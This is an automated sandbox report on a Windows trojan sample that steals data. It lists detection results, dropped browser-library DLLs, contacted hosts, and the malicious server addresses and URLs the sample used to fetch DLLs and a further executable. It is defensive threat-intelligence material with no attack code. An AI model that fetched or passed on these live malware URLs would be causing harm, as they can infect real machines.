Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/freebl3.dll.	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dll8	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll(	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpL	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	3.160.188.18	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://c.msn.com/c.gif?rnd=1732548100468&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7fcc8421e2064b25adb1ed85173a4afb&activityId=7fcc8421e2064b25adb1ed85173a4afb&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0E4695DD1E284F8C9CD302AEFD7E1CED&MUID=0C72B46B3C106818117CA1293D846999	false	high
https://sb.scorecardresearch.com/b2?rn=1732548100468&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0C72B46B3C106818117CA1293D846999&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732548106986&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://assets2.msn.com/bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732548100466&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732548106989&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732548107998&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b?rn=1732548100468&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0C72B46B3C106818117CA1293D846999&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://ntp.msn.com/0	000003.log8.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, KFHJJDHJEGHJKECBGCFH.0.dr	false		high
https://www.last.fm/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll.	file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.instagram.com	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://www.messenger.com	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://www.deezer.com/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
http://185.215.113.206lfons	file.exe, 00000000.00000002.2558803779.0000000000F75000.00000040.00000001.01000000.00000003.sdmp	false		high
https://web.telegram.org/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll(	file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, KFHJJDHJEGHJKECBGCFH.0.dr	false		high
https://assets2.msn.com	721186f7-da6b-4321-b0e6-8b31ecc65bbc.tmp.10.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpL	file.exe, 00000000.00000002.2581862430.000000002395D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, KFHJJDHJEGHJKECBGCFH.0.dr	false		high
https://msn.comXIDv10	Cookies.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpP	file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpM	file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpX	file.exe, 00000000.00000002.2581862430.000000002395D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://m.kugou.com/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://www.office.com	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	KFHJJDHJEGHJKECBGCFH.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll8	file.exe, 00000000.00000002.2558172781.0000000000B32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	000003.log8.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpl	file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	false		high
https://powerpoint.new?from=EdgeM365Shoreline	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpt	file.exe, 00000000.00000002.2558172781.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidal.com/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://ntp.msn.com	000003.log2.9.dr, 2cc80dabc69f58b6_0.9.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://gaana.com/	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.9.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.164.116.57	unknown	United States	3	MIT-GATEWAYSUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.117.182.66	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.203.20	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
3.160.188.18	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
4.249.200.148	unknown	United States	3356	LEVEL3US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.200.0.34	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.203.71	unknown	United States	20940	AKAMAI-ASN1EU	false
51.116.253.170	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.219.82.82	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.44.203.14	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562490
Start date and time:	2024-11-25 16:20:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@68/289@24/24
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 74.125.205.84, 172.217.17.46, 2.20.68.201, 34.104.35.123, 172.217.21.35, 142.250.181.106, 142.250.181.74, 172.217.19.234, 172.217.21.42, 172.217.17.74, 172.217.17.42, 142.250.181.138, 172.217.19.202, 172.217.19.10, 192.229.221.95, 13.107.42.16, 131.253.33.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.61.93, 23.32.238.67, 2.19.198.217, 2.16.158.96, 2.16.158.169, 2.16.158.192, 2.16.158.187, 2.16.158.170, 2.16.158.179, 2.16.158.90, 2.16.158.176, 2.16.158.91, 184.24.77.138, 184.24.77.156, 2.16.158.75, 2.16.158.80, 2.16.158.83, 2.16.158.88, 2.16.158.82, 2.16.1.208, 2.16.1.233, 13.74.129.1, 13.107.21.237, 204.79.197.237, 204.79.197.203, 13.87.96.169, 199.232.214.172, 23.32.238.18, 23.32.238.24, 142.250.176.195, 142.250.65.195, 142.251.40.163, 142.251.40.131, 142.250.65.163, 142.250.81.227, 172.217.165.131
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, a-0003.dc-msedge.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, a1858.dscd.aka
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:21:33	API Interceptor	125x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
23.96.180.189	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	3.160.188.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIT-GATEWAYSUS	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	19.5.240.43
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	19.111.220.99
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	18.54.45.190
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	19.89.141.231
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	18.126.77.132
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	19.199.93.72
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	18.120.201.114
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	19.237.163.131
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	19.164.247.168
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	18.70.76.211
